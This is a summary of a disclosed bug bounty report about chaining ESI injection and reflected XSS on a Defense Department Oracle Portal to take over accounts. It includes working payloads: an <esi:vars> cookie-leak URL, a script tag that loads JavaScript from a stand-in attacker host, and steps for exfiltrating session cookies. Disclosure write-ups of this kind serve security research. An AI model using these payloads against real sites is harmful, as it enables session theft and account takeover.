# [hta3] Chain of ESI Injection & Reflected XSS leading to Account Takeover on [███]

ESI injection in ms parameter leaks HttpOnly cookies; chained with reflected XSS in title parameter to steal sessions and take over accounts.

- Payout: hidden
- Severity: high
- Program: U.S. Dept Of Defense
- Found by: jr0ch17
- Disclosed: 2022-10-14
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1073780
- Library page: https://bugbountylibrary.com/r/h1%3A1073780
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:java technique:chained vuln:info-disclosure vuln:xss

**Target:** Oracle Portal web endpoints (PerspectiveResults, PORTAL.wwexp_render.show_tree)
**Root cause:** The ms parameter is rendered through an ESI processor that evaluates <esi:vars> tags, and the title parameter is reflected into HTML without encoding, allowing script injection.
**Steps:**
1. Visit `PerspectiveResults?ms=lol<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>lol` and observe cookies reflected in the Search field between the lol markers.
2. Visit `PORTAL.wwexp_render.show_tree?...&p_title=Browse+Pages</title><svg/onload=alert(domain)>` to confirm reflected XSS.
3. Host JS that fetches the ESI URL, parses `#x61_ms` value, and exfiltrates to attacker server.
4. Deliver `p_title=Browse+Pages</title><script/src='https://attacker/hta3.js'></script>` to victim; script fetches ESI endpoint and sends cookies out.
**How found:** Researcher tested the ms parameter with an ESI <esi:vars> tag and saw the Cookie header reflected in the search field, then found unencoded title reflection in show_tree and combined both.
**Exploitation:** Attacker lures victim to the crafted show_tree URL; injected script runs in the portal origin, fetches the ESI-injected PerspectiveResults URL same-origin, reads the HttpOnly session cookie from the reflected response, and exfiltrates it to attacker server for session hijack.
**Escalation:** Chained ESI injection (cookie leak bypassing HttpOnly) with reflected XSS to achieve account takeover; noted potential SSRF via ESI depending on config.
**Insight:** When a parameter is processed by an ESI engine, try `<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>` to read HttpOnly cookies server-side; pair with any same-origin XSS to fetch the ESI URL and exfiltrate.